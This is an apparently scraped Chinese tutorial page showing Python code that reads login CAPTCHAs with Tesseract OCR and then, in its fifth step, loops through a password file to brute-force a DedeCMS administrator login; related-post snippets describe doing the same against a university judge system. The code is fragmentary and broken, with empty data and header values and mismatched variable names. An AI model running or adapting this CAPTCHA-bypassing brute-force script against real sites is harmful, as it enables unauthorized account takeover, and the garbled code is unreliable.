python3 遠端登入帶驗證碼

2021-08-20 06:22:35 字數 2630 閱讀 5938

第一步:用burpsuite 或者fiddler 等抓包看 post提交的資料,方便設定 post 的data 包

然後設定 header 和 data

#imgry = im.convert('l') #轉化為灰色 (中間的注釋操作可神略,是將更容易識別,還需要其他操作)

# threshold = 140 #將二極化

# table =

# for i in range(256):

# if i < threshold:

# else:

# out = imgry.point(table, '1')

pytesseract.image_to_string(im)

第四步:把各步簡單整合,返回登入成功的頁面 

import pytesseract

from pil import image

import requests

def vidnum(url,s):

res = s.get(url)

#載入驗證碼頁面

f.write(res.content)   #儲存驗證碼數

# imgry = im.convert('l')         #轉化為灰色 (中間的注釋操作可神略,是將更容易識別,還需要其他操作)

# threshold = 140#將二極化

# table =

# for i in range(256):

# if i < threshold:

# else:

# im = imgry.point(table, '1')

vidnum = pytesseract.image_to_string(im) #返回的驗證碼

return vidnum.replace(' ','')#去除空格

def main(url):

loginurl = url + '/login.php'

s = requests.session()

vakudate = vidnum(url +"/vdimgck.php",s);

data =

s.post(loginurl, data=data, headers=header)    #帶資料訪問

html = s.post(url).text #返回登入成功的頁面

return html

aa = main('')

print(aa)

第五步:小改下main 函式,就可以 爆破密碼 (利用密碼集文字,或者自己寫生成器)

def main(url,pwd):

loginurl = url + 'dede/login.php'

s = requests.session()

vakudate = vidnum(url +"include/vdimgck.php",s);

data =

s.post(loginurl, data=data, headers=header) #帶資料訪問

if (s.post(url).text == '登入成功頁面'): #判斷是否登入成功,每個**不用,或用其他判斷

return pwd

else:

return

file = open('passwork.txt','r+'); #載入密碼集

for x in open('passwork.txt'):

passwork =file.readline();

pwd = passwork.strip()

true_pass = main('',pwd)

if result is not none:

print true_pass; #輸出真實密碼

python帶驗證碼登入

本次登入的是中國石油大學acm的oj 管理員不要打我 原型是hustoj,選擇的原因是驗證碼比較簡單,純數字。實際上利用了驗證碼頁面和登入頁面cookie的一致。但是在順序上我們需要先開啟驗證碼頁面,有興趣可以簡單測試一下 1.開啟登入頁面 不要關閉 3.重新整理位址,一般來說驗證碼會變 4.用那個...

登入驗證碼

生成驗證碼 指定驗證碼的長度 public static string createvalidatecode int length 生成隨機數字 for int i 0 i length i 抽取隨機數字 for int i 0 i length i 生成驗證碼 for int i 0 i leng...

ExtJS使用者帶驗證碼登入頁面

使用者帶驗證碼登入頁面 sheak code.php 生成驗證碼 1202增加鍵盤回車提交功能 粗體部分 使用者帶驗證碼登入頁面 sheak 081115 code.php 生成驗證碼 ext.quicktips.init loginwindow ext.extend ext.window,butt...